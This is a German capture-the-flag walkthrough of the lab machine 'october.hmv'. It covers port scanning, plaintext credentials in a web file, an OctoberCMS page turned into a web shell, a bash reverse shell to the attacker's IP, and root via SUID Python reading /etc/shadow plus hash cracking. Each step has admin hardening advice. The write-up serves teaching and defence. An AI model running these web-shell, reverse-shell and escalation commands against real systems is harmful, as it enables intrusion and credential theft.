Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und dem Scannen nach offenen Ports und Diensten.
192.168.2.134 08:00:27:40:03:c5 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu erkennen. Ein Host mit der IP-Adresse `192.168.2.134` und der MAC-Adresse `08:00:27:40:03:c5` (PCS Systemtechnik GmbH) wird gefunden, was auf eine VirtualBox-VM hindeutet.
**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.134` ist das Ziel für die weiteren Schritte.
**Empfehlung (Pentester):** Führen Sie Portscans auf die Ziel-IP durch. Ergänzen Sie die lokale `/etc/hosts`-Datei um einen passenden Hostnamen, sobald dieser bekannt ist.
**Empfehlung (Admin):** Netzwerksegmentierung und -monitoring können zur Erkennung und Eindämmung von Scans beitragen.
192.168.2.134 october.hmv
**Analyse:** Die lokale Hosts-Datei des Angreifers wird bearbeitet, um die IP `192.168.2.134` dem Hostnamen `october.hmv` zuzuordnen. Dieser Hostname wurde vermutlich während der Nmap-Scans ermittelt oder vorgegeben.
**Bewertung:** Dies vereinfacht die weitere Interaktion mit dem Zielsystem, da nun der Hostname `october.hmv` verwendet werden kann.
**Empfehlung (Pentester):** Verwenden Sie `october.hmv` in nachfolgenden Befehlen und bei der Analyse von Webanwendungen.
**Empfehlung (Admin):** Dieser Schritt erfolgt auf dem Angreifer-System. Achten Sie auf eine korrekte DNS-Konfiguration Ihrer Server.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 23:19 CEST Nmap scan report for october.hmv (192.168.2.134) Host is up (0.00027s latency). Not shown: 65531 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA) | 256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA) |_ 256 95:1f:32:95:78:08:50:45:cd:8c:7c:71:4a:d4:6c:1c (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Homepage | My new websites |_http-server-header: Apache/2.4.38 (Debian) 3306/tcp open mysql MySQL (unauthorized) 8080/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-open-proxy: Proxy might be redirecting requests |_http-title: My Note |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:40:03:C5 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.27 ms october.hmv (192.168.2.134)
**Analyse:** Der Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) auf alle TCP-Ports von `192.168.2.134` zeigt vier offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 auf Debian. Relativ aktuell. * **Port 80 (HTTP):** Apache 2.4.38 auf Debian. Titel: "Homepage | My new websites". * **Port 3306 (MySQL):** MySQL-Dienst. Wird als `(unauthorized)` gemeldet, was normalerweise bedeutet, dass eine Verbindung möglich ist, aber keine Authentifizierung ohne Zugangsdaten gelang. * **Port 8080 (HTTP):** Ein weiterer Apache 2.4.38 auf Debian. Titel: "My Note". Das Skript `http-open-proxy` vermutet, dass es sich um einen Proxy handeln könnte. Das Betriebssystem wird als Linux (Kernel 4.15 - 5.8) identifiziert.
**Bewertung:** Die Angriffsfläche umfasst SSH, zwei Webserver und einen MySQL-Datenbankserver. Die beiden Webserver auf Port 80 und 8080 müssen genauer untersucht werden. Der MySQL-Port ist interessant, aber Nmap meldet, dass ein direkter Zugriff nicht ohne Weiteres möglich ist (wahrscheinlich aufgrund von Host-Beschränkungen).
**Empfehlung (Pentester):**
1. Untersuchen Sie die Webserver auf Port 80 und 8080 detailliert (Nikto, Gobuster, manuelle Analyse).
2. Versuchen Sie, eine Verbindung zur MySQL-Datenbank herzustellen (`mysql -h october.hmv -u root -p`), um die Zugriffsbeschränkung zu bestätigen.
3. Behalten Sie SSH als Ziel für gefundene Zugangsdaten.
**Empfehlung (Admin):**
1. Überprüfen Sie die Konfiguration beider Apache-Instanzen und die darauf laufenden Anwendungen. Warum laufen zwei Webserver?
2. Sichern Sie die MySQL-Datenbank, indem Sie den Zugriff auf notwendige Hosts beschränken (z.B. localhost) und starke Passwörter verwenden.
3. Sichern Sie SSH. Halten Sie alle Dienste aktuell.
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL (unauthorized) 8080/tcp open http Apache httpd 2.4.38 ((Debian))
**Analyse:** Wiederholung des vorherigen Nmap-Scans, aber die Ausgabe wird durch `grep open` gefiltert, um nur die Zeilen mit offenen Ports anzuzeigen. Dies bestätigt die vier offenen Ports: 22, 80, 3306, 8080.
**Bewertung:** Eine kompakte Übersicht über die Angriffsfläche. Keine neuen Informationen.
**Empfehlung (Pentester):** Nutzen Sie diese Liste als Checkliste für die weitere Untersuchung der Dienste.
**Empfehlung (Admin):** Vergleichen Sie diese Liste mit den erwarteten offenen Ports gemäß Ihrer Sicherheitsrichtlinie und Firewall-Konfiguration.
Enter password: ERROR 1130 (HY000): Host 'PC192-168-2-199' is not allowed to connect to this MySQL server
**Analyse:** Der Befehl `mysql -u root -h october.hmv -p` versucht, sich als Benutzer `root` mit dem MySQL-Server auf dem Zielhost zu verbinden. Nach der Passwortabfrage (vermutlich leer gelassen oder falsch eingegeben) gibt der Server einen Fehler zurück: `ERROR 1130 (HY000): Host 'PC192-168-2-199' is not allowed to connect to this MySQL server`. Der Hostname `PC192-168-2-199` identifiziert das Angreifer-System.
**Bewertung:** Dies bestätigt die Nmap-Vermutung (`unauthorized`). Der MySQL-Server erlaubt keine Verbindungen von der IP des Angreifers. Ein direkter Angriff auf die Datenbank von außen ist somit nicht möglich. Zugriff kann nur von erlaubten Hosts (wahrscheinlich nur `localhost`) erfolgen.
**Empfehlung (Pentester):** Der direkte MySQL-Angriff ist ausgeschlossen. Konzentrieren Sie sich auf die Webserver. Falls später eine Shell auf dem Zielsystem erlangt wird, kann von dort aus versucht werden, auf MySQL zuzugreifen.
**Empfehlung (Admin):** Die Beschränkung des Datenbankzugriffs auf notwendige Hosts (wie `localhost`) ist eine wichtige Sicherheitsmaßnahme und hier korrekt umgesetzt. Stellen Sie sicher, dass auch starke Passwörter verwendet werden.
Wir untersuchen nun die beiden Webserver auf Port 80 und 8080 genauer, um Anwendungen, Verzeichnisse und Schwachstellen zu finden.
http://october.hmv:8080 My Note-->
**Analyse:** Der Pentester hat die Seite `http://october.hmv:8080` im Browser untersucht. Die Seite zeigt den Titel "My Note" und ein Bild `mynote.jpg`. Im HTML-Quellcode befindet sich ein auskommentierter Link (``) zu einer Datei `mynote.txt`.
**Bewertung:** Ein wichtiger Fund! Auskommentierter Code enthält oft sensible Informationen oder Hinweise. Die Datei `mynote.txt` auf Port 8080 sollte abgerufen werden.
**Empfehlung (Pentester):** Rufen Sie `http://october.hmv:8080/mynote.txt` auf und analysieren Sie den Inhalt.
**Empfehlung (Admin):** Entfernen Sie auskommentierten Code, der sensible Links oder Informationen enthält, aus Webseiten.
http://october.hmv/index.php (Status: 200) [Size: 9882] http://october.hmv/0 (Status: 200) [Size: 9882] http://october.hmv/themes (Status: 301) [Size: 311] [--> http://october.hmv/themes/] http://october.hmv/modules (Status: 301) [Size: 312] [--> http://october.hmv/modules/]
**Analyse:** Gobuster wird auf Port 80 (`http://october.hmv`) ausgeführt. Es findet: * `/index.php`: Die Hauptseite (vermutlich die WordPress-Seite). * `/0`: Eine Ressource namens "0" liefert denselben Inhalt wie `index.php`. Sehr ungewöhnlich. * `/themes` und `/modules`: Typische Verzeichnisse für ein CMS, hier wahrscheinlich OctoberCMS (basierend auf dem späteren Shell-Pfad).
**Bewertung:** Der Scan deutet auf ein CMS hin, möglicherweise OctoberCMS (wegen `/themes` und `/modules`). Die Ressource `/0` ist seltsam und könnte auf eine Fehlkonfiguration oder eine spezielle Routing-Regel hindeuten. Wichtiger ist jedoch der Fund aus der manuellen Untersuchung von Port 8080.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf den Hinweis aus Port 8080 (`mynote.txt`). Untersuchen Sie die gefundenen CMS-Verzeichnisse `/themes` und `/modules`. Überprüfen Sie `/0`.
**Empfehlung (Admin):** Untersuchen Sie die ungewöhnliche Ressource `/0`. Stellen Sie sicher, dass das CMS (vermutlich OctoberCMS) aktuell und sicher konfiguriert ist.
Wir folgen dem Hinweis aus dem Quellcode der Webseite auf Port 8080 und rufen die auskommentierte Datei `mynote.txt` auf, in der Hoffnung, Zugangsdaten oder weitere Informationen zu finden.
--------------------------------------------------------------------
http://october.hmv:8080/mynote.txt
user - admin
password - adminadmin2
--------------------------------------------------------------------
**Analyse:** Der Pentester hat `http://october.hmv:8080/mynote.txt` aufgerufen. Die Datei enthält Klartext-Zugangsdaten: Benutzer `admin` mit dem Passwort `adminadmin2`.
**Bewertung:** Ein kritischer Fund! Klartext-Zugangsdaten wurden in einer einfachen Textdatei auf einem Webserver gefunden. Diese Zugangsdaten sind wahrscheinlich für das CMS auf Port 80 oder für SSH gültig.
**Empfehlung (Pentester):**
1. Versuchen Sie, sich mit `admin`:`adminadmin2` per SSH (Port 22) anzumelden.
2. Versuchen Sie, sich mit diesen Daten beim CMS auf Port 80 anzumelden (vermutlich unter `/backend` oder einem ähnlichen Pfad für OctoberCMS).
**Empfehlung (Admin):**
1. Entfernen Sie die Datei `mynote.txt` *sofort*.
2. Ändern Sie das Passwort für den Benutzer `admin` überall dort, wo es verwendet wird.
3. Speichern Sie niemals Zugangsdaten im Klartext auf einem Webserver. Verwenden Sie Passwort-Manager und sichere Authentifizierungsmethoden.
Wir versuchen zunächst, die gefundenen Zugangsdaten (`admin:adminadmin2`) für den SSH-Login zu verwenden. Anschließend nutzen wir sie für den Login in das Backend des OctoberCMS auf Port 80 und suchen nach einer Möglichkeit zur Remote Code Execution.
The authenticity of host 'october.hmv (192.168.2.134)' can't be established. ED25519 key fingerprint is SHA256:YZj1kF9uAadJk+aLh9kjKFN5ohREbSGoCGqU4hA1w4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'october.hmv' (ED25519) to the list of known hosts. # Armour Infosec # [...] IP:\4 Hostname: \n Debian GNU/Linux 10 admin@october.hmv: Permission denied (publickey).
**Analyse:** Der Versuch, sich mit `ssh admin@october.hmv` anzumelden, schlägt fehl. Nach Bestätigung des Hostkeys und Anzeige eines Banners kommt die Meldung `Permission denied (publickey)`.
**Bewertung:** Der SSH-Server ist so konfiguriert, dass er für den Benutzer `admin` nur eine Authentifizierung über Public Keys akzeptiert, keine Passwörter. Die gefundenen Zugangsdaten sind hier also nutzlos.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf den Login in das Web-CMS auf Port 80 mit den gefundenen Zugangsdaten.
**Empfehlung (Admin):** Die Konfiguration von SSH auf reine Schlüsselauthentifizierung ist eine gute Sicherheitspraxis. Stellen Sie sicher, dass keine Benutzer mit Passwort-Login aktiviert sind, wenn nicht benötigt.
--------------------------------------------------------------------
http://october.hmv/backend
user - admin
password - adminadmin2
--------------------------------------------------------------------
Page:Add:test
http://october.hmv/backend/cms
code
function onStart() { echo 123; echo phpinfo(); }
http://october.hmv/test
--------------------------------------------------------------------
function onStart() { echo 123; system($_GET['cmd']); }
http://october.hmv/test?cmd=id
--------------------------------------------------------------------
**Analyse:** Diese Notizen beschreiben den erfolgreichen Login und die Ausnutzung des OctoberCMS: 1. Der Pentester hat das Backend des CMS unter `http://october.hmv/backend` gefunden und sich mit `admin`:`adminadmin2` eingeloggt. 2. Innerhalb des CMS (Bereich `backend/cms`) gibt es eine Funktion zum Hinzufügen/Bearbeiten von Seiten ("Page:Add:test"). Eine neue Seite namens `test` wird erstellt. 3. In den Code-Bereich dieser Seite (vermutlich eine Twig- oder PHP-Sektion) wird eine `onStart()`-Funktion eingefügt. Zuerst wird testweise `echo phpinfo();` eingefügt und die Seite `/test` aufgerufen, um die PHP-Ausführung zu bestätigen (Ergebnis nicht im Log). 4. Anschließend wird die Funktion zu `function onStart() { echo 123; system($_GET['cmd']); }` geändert. Dies führt dazu, dass beim Aufruf der Seite `/test` der Wert des GET-Parameters `cmd` als Systemkommando ausgeführt wird. 5. Ein Testaufruf `http://october.hmv/test?cmd=id` bestätigt die RCE (Ausgabe nicht im Log, aber impliziert durch nächsten Schritt).
**Bewertung:** Kritischer Erfolg! Durch den Login mit den gefundenen Standard-Zugangsdaten konnte eine bekannte Funktionalität von OctoberCMS (Ausführen von PHP-Code in Seiten/Templates) missbraucht werden, um eine Command Injection Schwachstelle zu schaffen. Dies gewährt RCE als Webserver-Benutzer (`www-data`).
**Empfehlung (Pentester):** Nutzen Sie die RCE über den `cmd`-Parameter auf `/test`, um eine Reverse Shell zu etablieren.
**Empfehlung (Admin):**
1. Ändern Sie das Standard-Admin-Passwort *sofort*.
2. Härten Sie OctoberCMS: Beschränken Sie die Möglichkeit, PHP-Code direkt über das Backend auszuführen (falls möglich, oft eine Kernfunktion), oder beschränken Sie den Zugriff auf das Backend sehr stark. Halten Sie das CMS und alle Plugins aktuell.
3. Überwachen Sie die Erstellung/Änderung von CMS-Seiten und -Templates.
Nachdem wir durch die Modifikation einer CMS-Seite eine Command Injection Schwachstelle geschaffen haben, nutzen wir diese nun, um eine Reverse Shell zu unserem Angreifer-System aufzubauen.
listening on [any] 9999 ...
http://october.hmv/test?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9999%200%3E%261%27
listening on [any] 9999 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.134] 48686 bash: cannot set terminal process group (441): Inappropriate ioctl for device bash: no job control in this shell www-data@october:/var/www/html/octobercms$
**Analyse:** Ein Netcat-Listener wird auf Port 9999 gestartet. Anschließend wird die URL `http://october.hmv/test` aufgerufen, wobei der `cmd`-Parameter eine URL-kodierte Bash-Reverse-Shell-Payload enthält (`/bin/bash -c 'bash -i >& /dev/tcp/[Angreifer-IP]/[Port] 0>&1'`). Der Aufruf der URL führt dazu, dass die `system()`-Funktion in der modifizierten CMS-Seite die Payload ausführt. Der Listener empfängt die Verbindung und der Angreifer erhält eine Shell als `www-data` im Verzeichnis `/var/www/html/octobercms`.
**Bewertung:** Initial Access erfolgreich etabliert! Eine interaktive Shell als `www-data` wurde über die RCE im CMS erlangt.
**Empfehlung (Pentester):** Stabilisieren Sie die Shell (Upgrade zur TTY). Beginnen Sie mit der lokalen Enumeration als `www-data`.
**Empfehlung (Admin):** Beheben Sie die RCE im CMS. Implementieren Sie Egress-Filtering.
Mit der Shell als `www-data` untersuchen wir das System lokal auf Hinweise und Eskalationsmöglichkeiten.
264539 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 264686 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 267714 4764 -rwsr-xr-x 2 root root 4877888 Dec 20 2019 /usr/bin/python3.7m 261159 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 261155 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 261156 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 265011 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 265013 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 267714 4764 -rwsr-xr-x 2 root root 4877888 Dec 20 2019 /usr/bin/python3.7 261158 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 524560 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 269307 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 269209 52 -rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Die Suche nach SUID-Dateien (`find / -type f -perm -4000 ...`) liefert eine Liste von Standard-Systembinaries (`su`, `passwd`, `mount` etc.). Der entscheidende Fund ist: * `/usr/bin/python3.7` und `/usr/bin/python3.7m` (derselbe Inode, Hardlink oder Symlink): Sind SUID Root (`-rwsr-xr-x`).
**Bewertung:** SUID-Root Python ist eine kritische Schwachstelle! Es ermöglicht die einfache Ausführung von beliebigem Code mit Root-Rechten. Dies ist der wahrscheinlichste und einfachste Weg zur Privilegieneskalation.
**Empfehlung (Pentester):** Nutzen Sie SUID Python sofort zur Eskalation. Der Befehl `/usr/bin/python3.7 -c 'import os; os.execve("/bin/sh", ["/bin/sh", "-p"], os.environ)'` oder einfacher `/usr/bin/python3.7 -c 'import os; os.system("/bin/sh -p")'` sollte eine Root-Shell liefern.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von Python *dringend* (`chmod u-s /usr/bin/python3.7`). Interpreter sollten niemals SUID sein.
-rwxr-xr-x 1 root root 7806 Mar 26 2019 py3clean -rwxr-xr-x 1 root root 12113 Mar 26 2019 py3compile lrwxrwxrwx 1 root root 31 Mar 26 2019 py3versions -> ../share/python3/py3versions.py lrwxrwxrwx 1 root root 8 Mar 26 2019 pydoc3 -> pydoc3.7 -rwxr-xr-x 1 root root 79 Dec 20 2019 pydoc3.7 lrwxrwxrwx 1 root root 12 Mar 26 2019 pygettext3 -> pygettext3.7 -rwxr-xr-x 1 root root 21547 Dec 20 2019 pygettext3.7 lrwxrwxrwx 1 root root 9 Mar 26 2019 python3 -> python3.7 -rwsr-xr-x 2 root root 4877888 Dec 20 2019 python3.7 -rwsr-xr-x 2 root root 4877888 Dec 20 2019 python3.7m lrwxrwxrwx 1 root root 10 Mar 26 2019 python3m -> python3.7m
**Analyse:** Ein `ls -la py*` (vermutlich in `/usr/bin`) bestätigt die SUID-Berechtigungen (`-rwsr-xr-x`) für `python3.7` und `python3.7m`.
**Bewertung:** Visuelle Bestätigung der SUID-Schwachstelle.
**Empfehlung (Pentester):** Nutzen Sie die Schwachstelle aus.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit.
cookie.php: | example, when you want to pass data from frontend to server side backend
database.php: 'password' => 'root',
database.php: 'password' => '',
database.php: 'password' => '',
database.php: 'password' => null,
mail.php: | connection. You may also set the "password" value below this one.
mail.php: | Here you may set the password required by your SMTP server to send out
mail.php: 'password' => null,
Password:
su: Authentication failure
**Analyse:** Der Pentester durchsucht die Konfigurationsdateien von OctoberCMS (`/var/www/html/octobercms/config`) nach dem Wort "pass". In `database.php` wird das MySQL-Passwort für den Benutzer `root` als `root` gefunden. Anschließend wird versucht, mit `su root` und diesem Passwort zu Root zu wechseln, was jedoch fehlschlägt (`Authentication failure`).
**Bewertung:** Bestätigt das MySQL-Root-Passwort als `root`. Dieses Passwort ist jedoch nicht das System-Root-Passwort.
**Empfehlung (Pentester):** Das MySQL-Passwort ist nicht für den `su`-Befehl gültig. Konzentrieren Sie sich auf die SUID-Python-Schwachstelle.
**Empfehlung (Admin):** Ändern Sie das MySQL-Root-Passwort. Verwenden Sie niemals dasselbe Passwort für die Datenbank und das System.
Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. [...] mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | notepad | | octoberdb | | performance_schema | | test | +--------------------+ 6 rows in set (0.01 sec) mysql> use octoberdb; Reading table information for completion of table and column names [...] Database changed mysql> show tables; +----------------------------+ | Tables_in_octoberdb | +----------------------------+ | backend_access_log | | backend_user_groups | | backend_user_preferences | [...] | system_settings | +----------------------------+ 27 rows in set (0.00 sec) mysql> select * from backend_users; +----+------------+-----------+-------+-----------------+--------------------------------------------------------------------+-----------------+--------------------------------------------------------------------+---------------------+-------------+--------------+-----------+---------------------+---------------------+---------------------+------------+--------------+ | id | first_name | last_name | login | email | password | activation_code | persist_code | reset_password_code | permissions | is_activated | role_id | activated_at | last_login | created_at | updated_at | deleted_at | is_superuser | +----+------------+-----------+-------+-----------------+--------------------------------------------------------------------+-----------------+--------------------------------------------------------------------+---------------------+-------------+--------------+-----------+---------------------+---------------------+---------------------+------------+--------------+ | 1 | Admin | admin | admin | admin@admin.com | $2y$10$cFzZRg/pGt7apgTgjJ2G2uFJl7XT7idgmFw42y/fIQN07hUDV4N1q | NULL | $2y$10$dZywPyfS18LGjsWwl5nYwu4TtUAhbuawq4moRlLWuM7.lXilcsUBa | NULL | NULL | 1 | 2 | NULL | 2023-09-27 21:25:59 | 2020-03-27 11:19:55 | 2023-09-27 21:25:59 | NULL | 1 | +----+------------+-----------+-------+-----------------+--------------------------------------------------------------------+-----------------+--------------------------------------------------------------------+---------------------+-------------+--------------+-----------+---------------------+---------------------+---------------------+------------+--------------+ 1 row in set (0.00 sec)
**Analyse:** Der Pentester loggt sich erfolgreich als `root` mit dem Passwort `root` in MySQL ein. Er listet die Datenbanken und Tabellen der `octoberdb` auf und zeigt den Inhalt der `backend_users`-Tabelle. Diese enthält den Benutzer `admin` mit einem bcrypt-Passwort-Hash (`$2y$10$...`).
**Bewertung:** Bestätigt den Datenbankzugriff und zeigt den Hash des CMS-Admin-Benutzers. Dies ist nützlich, aber für die Eskalation weniger relevant als die SUID-Python-Schwachstelle.
**Empfehlung (Pentester):** Nutzen Sie die SUID-Python-Schwachstelle.
**Empfehlung (Admin):** Ändern Sie das MySQL-Root-Passwort.
Wir nutzen nun die gefundene SUID-Root-Berechtigung für `/usr/bin/python3.7`, um die Datei `/etc/shadow` auszulesen und anschließend den darin enthaltenen Root-Passwort-Hash zu knacken.
Privilege Escalation
**Analyse:** Organisatorische Notiz.
**Bewertung:** Markiert den Beginn des Exploitation-Schritts.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.
root:$6$ey93K17twvYTKL3l$EPeqiCcVDwXlu6cACnVvRr6z1qJ8Ck4v17.xpte06a9Pn/W6jEWB/3Q/gDQyhQnFMjH0YN4YZm0v4/y.JZV/:18346:0:99999:7: daemon:*:18346:0:99999:7: bin:*:18346:0:99999:7: sys:*:18346:0:99999:7: sync:*:18346:0:99999:7: games:*:18346:0:99999:7: man:*:18346:0:99999:7: lp:*:18346:0:99999:7: mail:*:18346:0:99999:7: news:*:18346:0:99999:7: uucp:*:18346:0:99999:7: proxy:*:18346:0:99999:7: www-data:*:18346:0:99999:7: backup:*:18346:0:99999:7: list:*:18346:0:99999:7: irc:*:18346:0:99999:7: gnats:*:18346:0:99999:7: nobody:*:18346:0:99999:7: _apt:*:18346:0:99999:7: systemd-timesync:*:18346:0:99999:7: systemd-network:*:18346:0:99999:7: systemd-resolve:*:18346:0:99999:7: armour:$6$/380Wfc3ap5rt4yT$uhNzCTNMBTAIcW3PZyv6QMVIFFYoIyc8oifRH/bmFxqm44HawgRXA60iJxvCEXIIgq1w7NhvLYK5opiZMGyn.:18346:0:99999:7: systemd-coredump:!!:18346 messagebus:*:18346:0:99999:7: sshd:*:18346:0:99999:7: mysql:!:18348:0:99999:7:
**Analyse:** Der Pentester nutzt die SUID-Python-Schwachstelle: 1. Ein erster Versuch, eine Root-Shell mit `os.system("/bin/bash -p")` zu erhalten, wird gezeigt, scheint aber nicht weiter verfolgt zu werden oder schlägt fehl (keine Ausgabe). 2. Ein zweiter Befehl `/usr/bin/python3.7 -c 'print(open("/etc/shadow").read())'` wird ausgeführt. Da Python mit Root-Rechten läuft, kann es die `/etc/shadow`-Datei öffnen und deren Inhalt ausgeben. Die Ausgabe zeigt die gehashten Passwörter der Systembenutzer, insbesondere den Hash für `root` (`$6$...` - SHA512Crypt) und einen weiteren Benutzer `armour`.
**Bewertung:** Das Auslesen der `/etc/shadow`-Datei ist ein entscheidender Schritt. Obwohl keine direkte Root-Shell erlangt wurde (möglicherweise wegen der einfachen Reverse Shell ohne TTY), konnten die Passwort-Hashes extrahiert werden. Das Knacken des Root-Hashes ist nun der nächste logische Schritt.
**Empfehlung (Pentester):** Kopieren Sie den Root-Passwort-Hash (`$6$ey9...`) und versuchen Sie, ihn offline mit John the Ripper oder Hashcat zu knacken.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von Python. Stellen Sie sicher, dass `/etc/shadow` die korrekten Berechtigungen (`640` oder `600`) hat und nur für `root` (und ggf. die Gruppe `shadow`) lesbar ist.
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rootroot1 (root)
1g 0:00:00:00 DONE (2023-09-28 00:01) 9.090g/s 18618p/s 18618c/s 18618C/s R3v_m4lwh3r3_k1nG!!..ashanti
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
**Analyse:** Der extrahierte Root-Hash wird auf dem Angreifer-System in `shadow.txt` gespeichert. John the Ripper wird mit `rockyou.txt` darauf angesetzt und knackt den Hash erfolgreich zum Passwort `rootroot1`.
**Bewertung:** Das System-Root-Passwort wurde ermittelt! Dies ermöglicht nun den direkten Login als Root über `su`.
**Empfehlung (Pentester):** Verwenden Sie `su root` in der `www-data`-Shell und geben Sie das Passwort `rootroot1` ein, um eine Root-Shell zu erhalten.
**Empfehlung (Admin):** Erzwingen Sie starke Root-Passwörter, die nicht in Wortlisten enthalten sind. Überwachen Sie fehlgeschlagene `su`-Versuche.
Mit dem geknackten Passwort für den Root-Benutzer wechseln wir nun mittels `su` die Identität und erlangen volle Root-Rechte.
Password:
uid=0(root) gid=0(root) groups=0(root)
**Analyse:** Von der `www-data`-Shell aus wird `su root` ausgeführt. Nach Eingabe des geknackten Passworts `rootroot1` ist der Wechsel erfolgreich. Der `id`-Befehl bestätigt `uid=0(root)`.
**Bewertung:** Root-Zugriff erfolgreich erlangt! Die Kombination aus SUID-Python zum Auslesen von `/etc/shadow` und dem anschließenden Knacken des Root-Hashes war erfolgreich.
**Empfehlung (Pentester):** Suchen Sie die finale Flagge.
**Empfehlung (Admin):** Beheben Sie die SUID-Python-Schwachstelle. Ändern Sie das Root-Passwort.
armour
proof.txt
Best of Luck
$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eop2ff0LbLYZrFq
**Analyse:** In der Root-Shell wird das `/home`-Verzeichnis aufgelistet (zeigt nur `armour`). Dann wird nach `/root` gewechselt, wo `proof.txt` gefunden wird. Der Inhalt von `proof.txt` ist "Best of Luck" gefolgt von einem bcrypt-Hash: `$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eop2ff0LbLYZrFq`.
**Bewertung:** Ziel erreicht! Der bcrypt-Hash in `proof.txt` ist die Root-Flagge.
**Empfehlung (Pentester):** Dokumentieren Sie die Flagge.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen.
Privilege Escalation erfolgreich
**Analyse:** Organisatorische Abschlussnotiz.
**Bewertung:** Bestätigt den Erfolg.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.
Anmerkung: Es wurde keine explizite User-Flagge gefunden.